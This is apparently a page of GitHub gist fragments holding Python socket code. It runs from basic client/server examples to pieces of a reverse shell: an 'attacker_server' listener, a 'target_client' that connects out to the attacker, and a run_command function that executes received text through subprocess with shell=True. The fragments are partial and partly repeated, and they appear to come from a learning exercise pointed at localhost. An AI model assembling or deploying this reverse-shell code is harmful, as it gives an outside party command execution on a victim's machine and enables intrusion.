This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connection.connect((socket.gethostname(), 8000)) | |
while True: | |
message = connection.recv(1024) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connection.bind((socket.gethostname(), 8000)) | |
connection.listen(5) | |
while True: | |
connectedsocket, address = connection.accept() | |
print("Connection from {address} established".format(address = address)) | |
connectedsocket.send(bytes("First message", "utf-8")) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connection.connect((socket.gethostname(), 8000)) | |
while True: | |
message = connection.recv(1024) | |
print(message.decode("utf-8")) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import time | |
client1_ip = "92.10.10.15" | |
client1_mac = "32:04:0A:EF:19:CF" | |
router = ("localhost", 8200) | |
client1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
time.sleep(1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
BUFFER_SIZE = 1024 | |
attacker_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
def attacker_server_binder(hostname, port_number): | |
attacker_server.bind((hostname, port_number)) | |
attacker_server.listen(5) | |
def target_client_connection_receiver(): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import subprocess | |
import os | |
BUFFER_SIZE = 1024 | |
target_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
def target_client_connector(): | |
# connect to the attacker | |
attacker_hostname = "localhost" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def send_data(data, target_client): | |
target_client.send(bytes(data, 'utf-8')) | |
acknowledgement = target_client.recv(BUFFER_SIZE) | |
if(acknowledgement == b'ACK'): | |
receive_data(target_client) | |
else: | |
print("Acknowledgement receipt not received.\n$reverse_shell: ", end = "") | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def send_data(data): | |
# receive data from the attacker server | |
target_client.send(bytes(data, 'utf-8')) | |
def receive_data(): | |
# receive data from the attacker server | |
response = "" | |
while True: | |
received_data = target_client.recv(BUFFER_SIZE) | |
received_data = received_data.decode('utf-8') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def run_command(command): | |
command = command.rstrip() | |
try: | |
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) | |
except Exception as e: | |
output = "Failed to execute command " + str(e) | |
return output |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def receive_data(): | |
# receive data from the attacker server | |
response = "" | |
while True: | |
received_data = target_client.recv(BUFFER_SIZE) | |
received_data = received_data.decode('utf-8') | |
response = response + str(received_data) | |
if(len(received_data) < BUFFER_SIZE): | |
break | |
print("Received: " + response) |